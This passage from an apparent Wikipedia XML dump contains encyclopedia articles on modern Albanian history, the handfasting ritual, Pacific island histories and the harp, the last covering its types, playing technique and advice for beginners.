[[Enver Hoxha]] and [[Mehmet Shehu]] emerged as the dominant figures in Albania after five years of political turmoil following the end of [[World War II]]. They began to concentrate primarily on securing and maintaining their power base, and secondarily on preserving Albania's independence and reshaping the country according to the precepts of [[Stalinism]]. Throughout all rule, Hoxha engineered an elaborate [[cult of personality]] that elevated him to the status of infallible leader. When he died in [[1985]], grandiose nation-wide mourning ceremonies were organized.

Soon after Hoxha's death, the government began to seek closer ties with the West in order to improve economic conditions, and initial [[democracy|democratic]] reforms were introduced including multi-party elections in [[1991]]. Pursuant to a 1991 interim basic law, Albanians ratified a constitution in [[1998]], establishing a democratic system of government based upon the rule of law and guaranteeing the protection of fundamental [[human rights]].

In [[1992]] the [[Democratic Party of Albania|Democratic Party]] took control of the country through democratic elections. What followed were deliberate programs of economic and democratic reform, but Albanian inexperience with capitalism led to the proliferation of [[pyramid scheme|pyramid schemes]]  - which were not banned due to the [[political corruption|corruption]] of the government. [[anarchy (word)|Anarchy]] in early 1997, as a result of the collapse of these pyramid schemes, alarmed the world and prompted intensive international mediation.

==Modern Albania==

{{POV-check-section}}

{{inappropriate tone}}

''Main article: [[History of Albania (1989-present)]]''

Since 1992 Albania has been oriented towards the West. In 1995, Albania was accepted in the Council of Europe and has requested membership in [[NATO]]. The workforce of Albania has continued to emigrate to Greece, Italy, Europe and North America. Corruption in the government is becoming more and more obvious. The political leadership has not fulfilled the people's hope for a short and not too painful transition.

The general elections of June 1997 brought the Socialists and their allies to power. President Berisha resigned from his post, and Socialists elected [[Rexhep Meidani]] as the President of the Republic. [[Albanian Socialist Party]] Chairman [[Fatos Nano]] was elected Prime Minister, a post which he held until October 1998, when he resigned as a result of the tense situation created in the country after the assassination of a prominent leader of the Democratic Party, [[Azem Hajdari]]. [[Pandeli Majko]] was then elected Prime Minister, and he served in this post until November [[1999]], when he was replaced by [[Ilir Meta]]. Albania approved its constitution through a popular referendum which was held in November 1998, but which was boycotted by the opposition. The general local elections of October 2000 marked the loss of control of the Democrats over the local governments and a victory for the Socialists. 

Although Albania has made strides toward democratic reform and maintaining the rule of law, serious deficiencies in the electoral code remain to be addressed, as demonstrated in the June [[2001]] parliamentary elections. International observers judged the 2001 elections to be acceptable, but the [[Union for Victory Coalition]], the second-largest vote recipient, disputed the results and boycotted parliament until January 31, 2002. The Socialists re-elected Ilir Meta as Prime Minister in August 2001, a post which he held till February 2002, when he resigned due to party infighting. Pandeli Majko was re-elected Prime Minister in February [[2002]].

Aside from internationally acceptable statistics, [[Albania]] shows incredible infastructural and economic improvement.  Construction is at a current boom in [[Albania]] as villas, apartment complexes, offices, restaurants, and hotels are multiplying at a frantic rate.  Also, due to black market trade and through other venues, Albania currently boasts the highest percentage of [[Mercedes Benz]] automobilies of any European nation. The standard of living, partially due to a large influx of capital from illicit drug-connected activities, has been steadily increasing. Even more promising is the increase in development of manufacturing and consumer-based businesses in Albania, evidenced in companies like Olim (oil products), Deka (detergents), Glina (bottled water), Birra Tirana (brewery), and Alumil ([[Aluminum]] [[alloys]]).

Because Albania's fate is so tightly interwoven with developments in the Balkans, it is recommended that readers unfamiliar with the region first examine Barbara Jelavich's two-volume History of the Balkans, which provides an excellent overview as well as sections on Albania and the formation of the state. Robert Lee Wolff's The Balkans in Our Time is another entertaining survey of Balkan history. Edith Durham's High Albania and her other travelogues on Albania from the early twentieth century read like adventure novels and provide insight into the cultural underpinnings of the nationalism endemic to the Balkans. The best examination of the Albanian nationalist movement in the late nineteenth century and the creation of Albania itself are Stavro Skendi's The Albanian National Awakening and Joseph Swire's exquisitely written Albania: The Rise of a Kingdom. Anton Logoreci's The Albanians: Europe's Forgotten Survivors and Peter R. Prifti's Socialist Albania since 1944: Domestic and Foreign Developments are both solidly grounded surveys of Albania and its trials, especially after World War II. Postwar Albania, especially the last years of Enver Hoxha's regime, is well treated in Elez Biberaj's Albania.

==References==

*[http://www.state.gov/r/pa/ei/bgn/3235.htm 2003 U.S. Department of State Background Note] of Albania
*[http://lcweb2.loc.gov/frd/cs/altoc.html Library of Congress Country Study] of Albania
*Oxford Encyclopedic World Atlas 5th Edition, Ed. Keith Lyle, Copyright 2000, Printed in Spain

==See also==

*[[Albania in the Middle Ages]]
*[[Timeline of Albanian history to 1993]]
*[[Timeline of Albanian history from 1994]]
*[[History of the Balkans]]
*[[History of Europe]]
*[[History of present-day nations and states]]

==External links==

* [http://www.albasoul.com/historia Collection of materials about the   history of Albania (mostly in Albanian, partly in English)]
* [http://historia.shqiperia.com Comprehensive history of Albania before 1912 (in Albanian)]
* [http://digital.library.upenn.edu/women/durham/albania/albania.html High Albania] book by [[Edith Durham]] about her travels in northern Albania in the early [[1900s]].
* [http://www.richmcclear.com/albanians_&amp;_culture.htm Essay on Albanian Culture]
* [http://www.rulers.org/rula1.html#albania Rulers.org — Albania] list of rulers for Albania
* [http://www.iue.it/VL/history/europe/albania.html WWW-VL: History: Albania]
[[Category:History of Europe|Albania]]
[[Category:History of Albania| ]]

[[de:Geschichte Albaniens]]
[[fr:Histoire de l'Albanie]]
[[it:Storia dell'Albania]]
[[lt:Albanijos istorija]]
[[nl:Geschiedenis van Albanië]]
[[pt:História da Albânia]]
[[sl:Zgodovina Albanije]]
[[sv:Albaniens historia]]
[[zh:阿尔巴尼亚历史]]</text>
    </revision>
  </page>
  <page>
    <title>Heimatvertriebenen</title>
    <id>13906</id>
    <revision>
      <id>15911491</id>
      <timestamp>2004-03-02T14:41:57Z</timestamp>
      <contributor>
        <username>Ywsf</username>
        <id>48332</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Expulsion of Germans after World War II]]</text>
    </revision>
  </page>
  <page>
    <title>Handfasting</title>
    <id>13908</id>
    <revision>
      <id>41540241</id>
      <timestamp>2006-02-28T01:02:22Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <comment>This is straight from the second definition of the word &quot;handfasting&quot; in the Oxford English Dictionary as found on the web at www.oed.com .  Anyone who disputes this cannot have looked very hard!</comment>
      <text xml:space="preserve">'''Handfasting''' is an ancient [[Celt]]ic [[wedding]] ritual in which the bride's and groom's hands are tied together &amp;mdash;hence the phrase &quot;tying the knot&quot;.  It was a part of the normal marriage ceremony in the time of the [[Roman Empire]].  In the [[16th century]], the English cleric [[Myles Coverdale]] wrote in ''The Christen State of Matrymonye'', that in that day, handfasting was still in use in some places, but was then separate from the Christian wedding rite performed in a church several weeks after the consumation of the marriage, which had already begun with the handfasting ritual.  According to the [[Oxford English Dictionary]], handfasting was then sometimes treated as a probationary form of marriage.  See [http://www.medievalscotland.org/history/handfasting.shtml Historical Handfasting] for an introduction to the historical roots of handfasting.

One unique tale of a handfasting tradition was that of the Telltown marriages. These took place once per year, on the [[Sabbat]] [[Lughnasadh]], and all unmarried people would get together and be married, usually with no knowledge of to whom they were being married until that day.  The marriage would last until the next Lughnasadh.  At that time, they were free to leave the union if they desired.

These however were not the common practices of handfasting. Couples would choose whom they wanted to marry as in modern-day practice, and have a handfasting with loose wraps and knots to signify that it was only for a year and a day. During this time, the couple would live together as a married couple. After the year and day were over, the couple would then choose to either part ways or make it permanent. If they choose to make it permanent, they would then once again have a ceremony similar to the first with the exception of the wraps and knots being done tight. These ceremonies generally were held on [[Beltane]].  Beltane was chosen out of the other Sabbats because it mirrored the God and Goddess's union.

==Modern usage==

In the present day, many [[Neopagan]]s (especially [[Wicca]]ns) practice this ritual.  In some cases, it symbolizes the beginning of trial marriage, typically lasting a year and a day; if the proper measures are taken, it can be a legal marriage ceremony.  Handfastings can be performed for [[heterosexual]] or [[homosexuality|homosexual]] couples (see also [[same-sex marriage]]), as well as for larger groups in the case of [[polyamory|polyamorous]] relationships.

[[Image:Paganavebury.jpg|300px|right]]

As with many [[Neopaganism|Neopagan]] rituals, the relationship of the current ceremony to historical practices is tenuous.

There is no universal procedure for the ceremony, and the elements included are generally up to the couple being handfasted.  A [[High Priest]] or [[High Priestess]] may officiate, or the couple may conduct the ceremony themselves.  Handfasting usually takes place outside, and, like many Wiccan rituals, may be performed [[skyclad]], or nude. In Wicca, the couple often jumps over a broom or, more commonly, a small bonfire to symbolize entering matrimony.  Today, many{{fact}}&lt;!--citation requested 10 Dec 05 --&gt; couples opt for a handfasting ceremony in place of, or incorporated into, their wedding.

A corresponding [[divorce]] [[ceremony]] called a [[handparting]] is sometimes practiced. Handpartings are not always performed for the same reasons as mainstream divorce.  One unique feature of handfasting as opposed to traditional marriage is that the couple may choose the length of time for which the marriage lasts: either for a year and a day, a lifetime, or for all eternity. In a Wiccan handparting, the couple often jumps backwards over the broom before parting hands.

[[Image:HandFastingKnot-1.jpg|frame|An example of a handfasting knot tied by each wedding guest]]

==Rings and handfastings==
As with traditional marriages, couples often exchange rings during handfastings, symbolizing the couple's desire to be faithful to each other and to share the rest of their lives together. Many pagan couples choose rings with Celtic designs to resonate with the origins of handfastings, while others choose traditional wedding rings. 

==Tying the knot==
The term &quot;tying the knot&quot;, which is still used widely today, originates with the practice of handfasting. During the ceremony, the couple's hands are tied together with a red cord or ribbon, symbolizing the desire, passion and vitality of the love the couple have for each other. The cord is often kept by the couple as a reminder of their vows. In a handparting, the cord is tied at the beginning of the ceremony and cut at the end.  Other traditions involve each wedding guest tying a ribbon around the couple's hands to symbolize the community's support and recognition of their bond.

==External links==

*[http://www.avalonia.co.uk/book_of_shadows/handfasting.htm What is Handfasting &amp; an Example Ceremony from Avalonia]
*[http://www.medievalscotland.org/history/handfasting.shtml Historical Handfasting]
[[Category:Wicca]]
[[Category:Neopaganism]]
[[Category:Wedding]]</text>
    </revision>
  </page>
  <page>
    <title>History of the Pacific Islands</title>
    <id>13910</id>
    <revision>
      <id>29797917</id>
      <timestamp>2005-12-01T12:22:07Z</timestamp>
      <contributor>
        <username>Brunnock</username>
        <id>163933</id>
      </contributor>
      <comment>recat from History to History by region</comment>
      <text xml:space="preserve">History of islands in the [[Pacific Ocean]].

*[[History of Alaska]]
*[[History of American Samoa]]
*[[History of Australia]]
*[[History of Baker Island]]
*[[History of Brunei]]
*[[History of the Caroline Islands]]
*[[History of Easter Island]]
*[[History of Fiji]]
*[[History of French Polynesia]]
*[[History of the Galapagos Islands]]
*[[History of Guam]]
*[[History of Hawaii]]
*[[History of Indonesia]]
*[[History of Japan]]
*[[History of Kiribati]]
*[[History of Malaysia]]
*[[History of Marquesas Islands]]
*[[History of Melanesia]]
*[[History of Micronesia]]
*[[History of the Marshall Islands]]
*[[History of New Caledonia]]
*[[History of New Zealand]]
*[[History of Papua New Guinea]]
*[[History of the Philippines]]
*[[History of Samoa]]
*[[History of the Society Islands]]
*[[History of the Solomon Islands]]
*[[History of Taiwan]]
*[[History of Tahiti]]
*[[History of Tokelau]]
*[[History of Tonga]]
*[[History of Tuamotu]]
*[[History of Vanuatu]]

[[Category:Pacific Ocean]]
[[Category:History by region]]

[[es:Historia de las Islas Pacíficas]]
[[ja:&amp;#22826;&amp;#24179;&amp;#27915;&amp;#23798;&amp;#23996;&amp;#21490;]]</text>
    </revision>
  </page>
  <page>
    <title>Harp</title>
    <id>13911</id>
    <revision>
      <id>41931259</id>
      <timestamp>2006-03-02T18:31:14Z</timestamp>
      <contributor>
        <username>Craig Stuntz</username>
        <id>26101</id>
      </contributor>
      <minor />
      <comment>/* Wire-strung harps (''clarsach'' or ''clairseach'') */ remove duplicate sentence (see two paragraphs later). Fix wikilinks</comment>
      <text xml:space="preserve">:'''''Harp''' is also a slang term for the diatonic [[harmonica]]: see [[blues harp]]. See also [[Jew's harp]].''

The '''harp''' is a [[stringed instrument|chordophone]] which has its strings positioned perpendicular to the [[soundboard]]. All harps have a neck, [[resonator]] and [[strings (music)|strings]]. Some, known as ''frame harps'', also have a forepillar; those lacking the forepillar are referred to ''open harps''. Harp strings can be made of [[nylon]] (sometimes [[copper]]-wound), [[gut]] (more commonly used than nylon), or [[wire]].

Various types of harps are found in [[Africa]], [[Europe]], [[North America|North]] and [[South America]], and a few parts of [[Asia]]. In antiquity harps and the closely related [[lyra]]s were very prominent in nearly all musical cultures, but they lost popularity in the early 19&lt;sup&gt;th&lt;/sup&gt; century in Western music, being mainly played by women or as a minor ensemble member. There was no harp-exclusive museum until the North Italian harp building firm of Victor Salvi started one in 2005.

The [[aeolian harp]] (wind harp) and [[autoharp]] are technically not harps because their strings are not perpendicular to the soundboard. 
[[image:Harp.png|right|thumb|A traditional folk harp and modern concert harp. ''Public domain image from Websters Dictionary 1911.'']]

==Origins of the harp==
[[Image:Egyptian_harp.jpg|right|thumb|250px|An [[History of Ancient Egypt|ancient Egypt]]ian harp on display in a [[United Kingdom|UK]] museum.]]
The harp's origins may lie in the sound of a plucked hunter's [[bow (weapon)|bow]] string. The oldest documented references to the harp are from [[4000 BC]] in [[Egypt]] (see [[Music of Egypt]]) and [[30th century BC|3000 BC]] in [[Mesopotamia]]. While the harp is mentioned in most translations of the [[Bible]], [[King David]] being the most prominent musician, the Biblical &quot;harp&quot; was actually a [[kinnor]], a type of [[lyre]] with 10 strings. Harps also appear in ancient epics, and in Egyptian wall paintings. This kind of harp, now known as the folk harp, continued to evolve in many different cultures all over the world. It may have developed independently in some places.

The lever harp came about in the second half of the 17&lt;sup&gt;th&lt;/sup&gt; century to enable key changes while playing.  The player manually turned a hook or lever against an individual string to raise the string's pitch by a [[semitone]].  In the 1700s, a link mechanism was developed connecting these hooks with pedals, leading to the invention of the single-action pedal harp.  Later, a second row of hooks was installed along the neck to allow for the double-action pedal harp, capable of raising the pitch of a string by either one or two semitones.  With this final enhancement, the modern concert harp was born.

The European harp tradition seems to have originated in ancient Ireland over a thousand years ago. In [[Irish mythology]], a magical harp, [[Daurdabla]] is possessed by [[The Dagda]].

==Types of harps, harp-playing and harp-building==
===Playing style of the European-derived harp===
[[Image:Bishapur zan.jpg|thumb|right|[[Sassanid]] mosaic excavated at [[Bishapur]] depicting player and a harp. Artifact is kept at The [[Louvre]].]]
[[Image:Harp-Sassanid.png|thumb|Women playing [[harp]] while the [[Sassanid]] king is hunting, [[Taq-e Bostan]], Iran.]]
Most European-derived harps have a single row of strings with strings for each note of the C Major [[Scale (music)|scale]] (over several [[octave]]s). Harpists can tell which strings they are playing because all F strings are black or blue and all C strings are red or orange.  The instrument rests between the knees of the harpist and along their right shoulder. The Welsh triple harp and early Irish and Scottish harps, however, are traditionally placed on the left shoulder. The first four fingers of each hand are used to pluck the strings; the pinky fingers are too short and cannot reach the correct position without distorting the position of the other fingers, although on some folk harps with light tension, closely spaced strings, they may occasionally be used. Plucking with varying degrees of force creates [[dynamics (music)|dynamics]]. Depending on finger position, different tones can be produced: a fleshy pluck (near the middle of the first finger joint) will make a warm tone, while a pluck near the end of the finger will make a loud, bright sound.

===The pedal/concert harp===
The '''pedal harp''', or '''concert harp''', is large and technically modern, designed for classical music and played solo, as part of chamber ensembles, and in symphony orchestras. It typically has six and a half octaves (about 47 strings), weighs about 80lb (36 kg), is approximately 6 ft (1.8 m) high, has a depth of 4 ft (1.2 m), and is 21.5 in (55 cm) wide at the bass end of the soundboard. The notes range from three octaves below middle C to three and a half octaves above, usually ending on G. The tension of the strings on the sound board is roughly equal to a ton (10 [[kilonewton]]s). The lowest strings are made of copper or steel-wound nylon, the middle strings of gut, and the highest of nylon.

The pedal harp uses the mechanical action of [[pedal|pedals]] to change the [[pitch (music)|pitch]]es of the strings. There are seven pedals, one for each note, and each pedal is attached to a rod or cable within the column of the harp, which then connects with a mechanism within the neck.  When a pedal is moved with the foot, small discs at the top of the harp rotate. The discs are studded with two pegs that pinch the string as they turn, shortening the vibrating length of the string.  The pedal has three positions. In the top position no pegs are in contact with the string and all notes are [[flat]].  In the middle position the top wheel pinches the string, resulting in a natural. In the bottom position another wheel is turned, shortening the string again to create a [[sharp]]. This mechanism is called the double-action pedal system, invented by [[Sebastien Erard|Sébastien Erard]] in [[1810]]. Earlier pedal harps had a single-action mechanism that allowed strings to play sharpened notes.

[[Lyon and Healy]], [[Camac]], and other manufacturers also make electric pedal harps. The '''[[electric harp]]''' is a concert harp, with microphone pickups at the base of each string and an amplifier.  The electric harp is a little heavier than an acoustic harp, but looks the same.

===Folk harps/lever harps===
[[Image:Harpist playing.jpg|right|thumb|250px|A street musician in [[Quebec City]] plays the lever harp]]

The '''folk harp''' is small to medium-sized and designed for traditional music, usually played solo or with small groups. It is dominant in the Irish and Scottish culture, and is known for its celtic music. The folk harp ranges in size from two octaves to six octaves, and use levers or blades to change pitch.  The most common form has 34 strings: two octaves below middle C and two and a half above (ending on A).  The strings are commonly made of nylon, gut, or wrapped metal, and are plucked with the fingers using a similar technique to that of the pedal harp. Harps with levers installed have a lever at the top of each string; when it is raised, it shortens the string so its pitch is raised a semitone, resulting in a sharp if the string was a natural, or a natural if the string was a flat. Lever harps are often tuned to the key of E-flat.  Using this scheme, the major keys of E-flat, B-flat, F, C, G, D, A, and E can be reached by changing lever positions, rather than re-tuning any strings. Many smaller folk harps are tuned in C or F, and may have no levers, or levers on the F and C strings only, allowing a narrower range of keys. Blades and hooks perform the same function as levers, but use a different mechanism. The most common type of lever is the Loveland lever
[[Image:lovelandharplever.jpg|right|thumb|Here is an example of a Loveland lever]]

Amplified (electro-acoustic) and solid body [[electric harp|electric lever harps]] are produced by some harpmakers.

=== Wire-strung harps (''clarsach'' or ''clairseach'') ===
[[Image:maedoc.jpg|left|thumb|Maedoc book-cover, Ireland, circa 1050  AD]]
The [[Gaels|Gaelic]] wire-strung harp is called a ''clarsach'' in Scotland or a ''clairseach'' in Ireland. The origins go back at least the first millennium. From the 8&lt;sup&gt;th&lt;/sup&gt; to 10&lt;sup&gt;th&lt;/sup&gt; centuries we have several stone carvings of harps, many of which are simple triangular shapes, generally with straight pillars, straight string arms or necks, and soundboxes. There is much conjecture about the origins of the harp here, there is stone carving evidence that supports the theory that the harp was present Gaelic/[[Picts|Pictish]] Scotland well before the 9&lt;sup&gt;th&lt;/sup&gt; century. Historically the carvings were made in the period after the establishment of the Gaelic kingdom of [[Dalriada]], and so, despite the lack of direct evidence, many still argue for an Irish influence. However, there are only thirteen depictions of any triangular chordophone from pre-11&lt;sup&gt;th&lt;/sup&gt; century Europe, and all thirteen of them come from Scotland.{{ref|thirteen}} Moreover, the earliest Gaelic word for a harp is in fact [[Cruithne (people)|Cruit]], a word which strongly suggests a Pictish provenance for the instrument. 

The harp played by the Gaels between the 11&lt;sup&gt;th&lt;/sup&gt; and 19&lt;sup&gt;th&lt;/sup&gt; centuries was certainly wire-strung. The [[Irish]] [[Maedoc Book Shrine]] dates from the 11&lt;sup&gt;th&lt;/sup&gt; century, and clearly shows a harper with a triangular framed harp including a &quot;T-Section&quot; in the pillar (or ''Lamhchrann'' in [[Irish language|Irish]]) indicating the bracing that would have been required to withstand the tension of a wire-strung harp. During this period, the Irish language word ''clairseach'' described a wire-strung harp with a massive carved soundbox, a reinforced curved pillar and a substantial neck, flanked with thick brass cheek bands. The wire-strung harp was played with the fingernails, and it produced a brilliant ringing sound. This is the style of harp on Irish coins and the Guinness label. Especially popular in 16&lt;sup&gt;th&lt;/sup&gt; and 17&lt;sup&gt;th&lt;/sup&gt; century English courts, it was played all over Europe and was usually called the ‘Irish’ harp. 

By the 18&lt;sup&gt;th&lt;/sup&gt; century, harps of any sort had fallen out of use in Scotland and Ireland due to changing social, political and economic conditions. At the same time, new [[Chromatic scale|chromatic]] harps were being created on the Continent for a bourgeois audience; harps with multiple rows of strings and harps with sharping mechanisms for playing the fashionable music of the time. In the mid-19&lt;sup&gt;th&lt;/sup&gt; century, a revival of all things Celtic brought attention back to Gaelic culture, sparking interest in native language and music. 

''The Irish and Highland Harps'' by Robert Bruce Armstrong is an excellent book describing these ancient harps.  There is historical evidence that the types of wire used in these harps are [[iron]], [[brass]], [[silver]], and [[gold]].  Three pre-16&lt;sup&gt;th&lt;/sup&gt; century examples survive today; the [[Trinity College, Dublin|Trinity College]] [[Trinity College harp|harp]] in [[Ireland]], and the [[Queen Mary harp|Queen Mary]] and [[Lamont harp]]s, both in [[Scotland]].  

One of the largest and most complete collections of 17&lt;sup&gt;th&lt;/sup&gt; century harp music is the work of [[Turlough O'Carolan]], a blind, itinerant Irish harper and composer. At least 220 of his compositions survive to this day. 

[[Edward Bunting]] was commissioned to notate the music played by the harpers at the [[1792 Belfast Harp Festival]].  He published his first volume in 1796.  He continued to collect the music of the Clairseach and published his second and third volumes in 1809 and 1840 respectively.  A reprint of the 1840 edition is now available from [[Dover Publications]].

[[Dennis Hempson]] (O'Hampsey) was the last of the harpers who played in the old style using the fingernails to pluck while the finger pads are used to damp.  He also was one of the last to use the left hand in the treble.  He was in his 90s at the 1792 festival and died in the beginning of the 19&lt;sup&gt;th&lt;/sup&gt; century.  He took the unbroken tradition of wire-strung harping with him to his grave.  

Since the 1970s, the tradition has been revived.  [[Ann Heymann]] has done the most pioneering work in reviving this tradition by playing the instrument as well as studying Bunting's original manuscripts in the library of Queens University, Belfast.  Other notable players include Patrick Ball, Cynthia Cathcart, Alison Kinnaird, Bill Taylor, Siobhán Armstrong and others.  

As performers have become interested in the instrument, harp makers (&quot;[[luthiers]]&quot;) such as Jay Witcher, David Kortier, Ardival Harps, and others have begun building wire-strung harps.  The traditional wire materials are used, however iron has been replaced by steel and the modern phosphor bronze has been added to the list.  The phosphor bronze and brass are most commonly used.  Steel tends to be very abrasive to the nails.  Silver and gold are used to get high density materials into the bass courses of high quality clarsachs to greatly improve their tone quality.  In the period, no sharping devices were used.  Harpers had to re-tune strings to change keys.  This practice is reflected by most of the modern luthiers, yet some allow provisions for either levers or blades.

===Multi-course harps===
A '''multi-course harp''' is a harp with more than one row of strings.  A harp with only one row of strings is called a '''single-course harp.'''

[[Image:Double harp.JPG|right|thumb|150px|Double harp]]

A '''double harp''' consists of two rows of [[diatonic]] strings one on either side of the neck.  These strings may run parallel to each other or may converge so the bottom ends of the strings are very close together.  Either way, the strings that are next to each other are tuned to the same note.  Double harps often have levers either on every string or on the most commonly sharped strings, for example C and F.  Having two sets of strings allows the harpist's left and right hands to occupy the same range of notes without having both hands attempt to play the same string at the same time.  It also allows for special effects such as repeating a note very quickly without stopping the sound from the previous note.  

A '''[[triple harp]]''' features three rows of parallel strings, two outer rows of [[Diatonic scale|diatonic]] strings, and a center row of [[Chromatic scale|chromatic]] strings. To play a sharp, the harpist reaches in between the strings in either outer row and plucks the center row string. Like the double harp, the two outer rows of strings are tuned the same, but the triple harp has no levers.  This harp originated in [[Italy]] in the 16&lt;sup&gt;th&lt;/sup&gt; century as a low headed instrument, and towards the end of 1600s it arrived in [[Wales]] where it developed a high head and  larger size. It established itself as part of Welsh tradition and became known as the '''Welsh harp''' (''telyn deires'', &quot;three-row harp&quot;). The traditional design has all of the strings strung from the left side of the neck, but modern neck designs have the two outer rows of strings strung from opposite sides of the neck to greatly reduce the tendency for the neck to roll over to the left.

[[Image:Cross harp.JPG|right|thumb|150px|Cross harp]]

The '''cross harp''' consists of one row of diatonically tuned strings and another row of chromatic notes.  These strings cross approximately in the middle of the string without touching.  Traditionally the diatonic row runs from the right (as seen by someone sitting at the harp) side of the neck to the left side of the sound board.  The chromatic row runs from the left of the neck to the right of the sound board.  The diatonic row has the normal string coloration for a harp, but the chromatic row may be black.  The chromatic row is not a full set of strings.  It is missing the strings between the Es and Fs in the diatonic row and between the Bs and Cs in the diatonic row.  In this respect it is much like a [[piano]].  The diatonic row corresponds to the white keys and the chromatic row to the black keys.  Playing each string in succession results in a complete chromatic scale.

==Harp technique==
Harp playing uses all of the fingers except for the pinky, which is generally too short and weak to effectively pluck a string.  In order to make notation of fingerings easier, each finger is given a number, &quot;1&quot; for the thumb, &quot;2&quot; for the index finger, &quot;3&quot; for the middle finger, and &quot;4&quot; for the ring finger. Most types of harp only require use of the hands. The exception is the pedal (concert) harp, where the harpist pushes the pedals with his or her feet.

There are two main methods of classical harp technique: the French method (associated in the United States with the French-American harpist [[Marcel Grandjany]]) and the Salzedo method, developed by [[Carlos Salzedo]]. Neither method has a definite majority among harpists, but the issue of which is better is sometimes a source of friction and debate. The distinguishing features of the Salzedo method are the encouragement of expressive gestures, elbows remain parallel to the ground, wrists are comparatively still, and neither arm ever touches the soundboard. The French method advocates lowered elbows, fluid wrists, and the right arm resting lightly on the soundboard.  In both methods, the shoulders, neck, and back are relaxed.  Some harpists combine the two methods into the technique that works best for them.

In addition to those techniques, which are suitable for modern pedal harps with their high string tension, in recent years some harpists have been developing another technique - the &quot;thumb under&quot; technique - which is more suitable for lower string tensions, as found on most historical harps. In the absence of much evidence on historical harp techniques, harpists have taken their lead from baroque performance practices, especially [[lute]] and early [[Musical keyboard|keyboard]] techniques. 

As in all baroque instrumental techniques, the underlying principle is that of strong and weak articulation. The player only uses three fingers of each hand, and the thumb moves under the other fingers, rather than being held very high as in modern harp technique. The thumb and third fingers are &quot;strong&quot; fingers and the second finger is a &quot;weak&quot; finger. Scales are fingered with alternating strong and weak fingers - that is, a scale fingering could be either 1 2 1 2 1 2 or 3 2 3 2 3 2. In contrast, classical harp technique uses a fingering of 4 3 2 1 4 3 2 1 going up and 1 2 3 4 1 2 3 4 going down.  The &quot;thumb under&quot; technique produces a mellow, well articulated sound on harps with low string tension. It also avoids large movements of the wrists and arms, since on low-tension harps, much less force is required than on modern high tension harps.

Another approach to “thumb under” technique as described above is to place the thumb so that it passes over the second finger, rather than under it. There is equal evidence for both thumb over and thumb under playing techniques on historical harps.  

In this second approach it is important to note that the fingers are placed on the strings an equal distance up the string from the soundboard.  This may be as little as 5-8 inches on very lightly strung harps.  If you begin by making a circle with your thumb and second finger, placing both the thumb and the second finger on the same string, open your thumb and place your thumb on the string above, also placing the third (and fourth – if you choose to use it) on the neighbouring strings below the second finger.  The fingertips placed on the strings should loosely form a straight line parallel to the soundboard of the harp.  

As you play each finger, the aim is to roll the string over the end of your finger as you release it rather than pulling the string into your hand. This should require very little finger action to produce a warm and well rounded sound.  Each finger produces a subtly different tone articulation. When playing scales down the harp, after playing the thumb it passes just over the second finger onto the string below, with the second finger falling onto the string below the thumb after releasing its note.  Otherwise, as with thumb under technique, all scales are played alternating strong and weak fingerings.

==Other harps around the world==
In [[South America]], there are [[Mexico|Mexican]], [[Andes|Andean]], [[Venezuela|Venezuelan]], and [[Paraguay|Paraguayan]] harps.  They are derived from the [[Baroque]] harps that were brought from [[Spain]] during the colonial period: wide on the bottom and narrow at the top, with perfect balance when being played but unable to stand independently for lack of a base.  The Paraguayan harp is the most popular, and is Paraguay's national instrument.  It has about 36 strings with narrower spacing and lighter tension than other harps, and so has a slightly (four to five notes) lower pitch.  It does not necessarily have the same string coloration as the other harps.  For example, some Paraguayan harps may have red B's and blue E's instead of red C's and blue F's. This harp is also played mostly with the fingernails.

All of Africa's harps are open harps because they lack the forepillar. With the exception of [[Mauritania]]'s [[ardin]], which is a true harp, most West African harps, such as the [[Kora (instrument)|kora]], are technically classified as [[harp-lute]]s because of their two rows of strings which are strung parallel to each other but perpendicular to the soundboard.

In [[Asia]], there are very few harps today, though the instrument was popular in ancient times; in that continent, [[zither]]s such as [[Japan]]'s [[koto (musical instrument)|koto]] predominate.  However, a few harps exist, the most notable being [[Burma]]'s [[Saung|saung-gauk]], which is considered the national instrument in that country. The Chinese [[konghou]], which died out, is being revived in a modernized form.  [[Turkey]] had a harp called the [[çeng]] that has also fallen out of use.

There are no harps indigenous to [[Oceania]] or the [[Americas]].

== The harp in music ==
The harp is used sparingly in most classical music, usually for special effects such as the [[glissando]], [[arpeggio]]s, and [[bisbigliando]].  Italian and German [[opera]] uses harp for romantic arias and dances, an example of which is Musetta's Waltz from ''[[La bohème]].''  French composers such as [[Claude Debussy]] and [[Maurice Ravel]] composed harp concertos and chamber music widely played today. In the 19&lt;sup&gt;th&lt;/sup&gt; century, the French composer and harpist [[Nicolas-Charles Bochsa]] composed hundreds of pieces of all kinds (opera transcriptions, chamber music, concertos, operas, harp methods). [[Henriette Renié]] and [[Marcel Grandjany]] have composed many lesser-known solo pieces and chamber music.  Modern composers utilize the harp frequently because the pedals on a concert harp allow many sorts of non-diatonic scales and strange accidentals to be played (although some modern pieces call for impractical pedal manipulations).

See [[List of compositions for harp]] for the names of some notable pieces from the classical repertoire.

There have been a few harpists active in [[jazz]] and [[free improvisation]], including:

*[http://www.edmarcastaneda.com/ Edmar Castañeda]
*[http://members.aol.com/ishorst/love/alice.html/ Alice Coltrane]
*[http://www.jazzharp.com/ Park Stickney]
*[[Zeena Parkins]]
*[http://hipharp.com/ Deborah Henson-Conant]

In current pop music, however, the harp appears very rarely. [[Joanna Newsom]] and [[Dee Carstensen]] have separately established images as harp-playing singer-songwriters with signature harp and vocal sounds.

== Recommendations for beginning harpists ==
Harp is a rewarding instrument to learn because every note sounds good.  However, there are several things to consider: picking a teacher, picking the harp, cost, tuning, and repairs.

A student should pick a teacher who teaches the type of music that he or she wants to play.  A classical teacher will not necessarily be the best to teach Paraguayan sambas or Celtic dances.  There are teach-yourself books and videos for the Celtic harp.

The harp should be one recommended by a teacher or a knowledgeable harp player.

Harps are one of the most expensive orchestral instruments. Used 3/4 size pedal harps (the cheapest  orchestral harp) regularly sell for US$8,000 or more, while new pedal harps can cost as much as a new car. One way to reduce this cost is to rent something smaller than a pedal harp, for example a lever harp with at least a three octave range, for about US$50 per month.  Inexpensive lap harps that stay in tune are available for less than US$400, although a case and accessories can add to the cost.

Beginners often use an electronic tuner to tune a harp.  Later, one learns to tune by ear.  Most harpists carry a tuning wrench and pitch pipe or electronic tuner with their harps.

New harps or harps moved to a different climate often have to be retuned as much as several times per day for a week before they settle into a reliable tuning.  This is normal, even for a good harp.  If, after a couple weeks, the harp does not remain in tune at least for a day of light or no use, then it is probably defective.

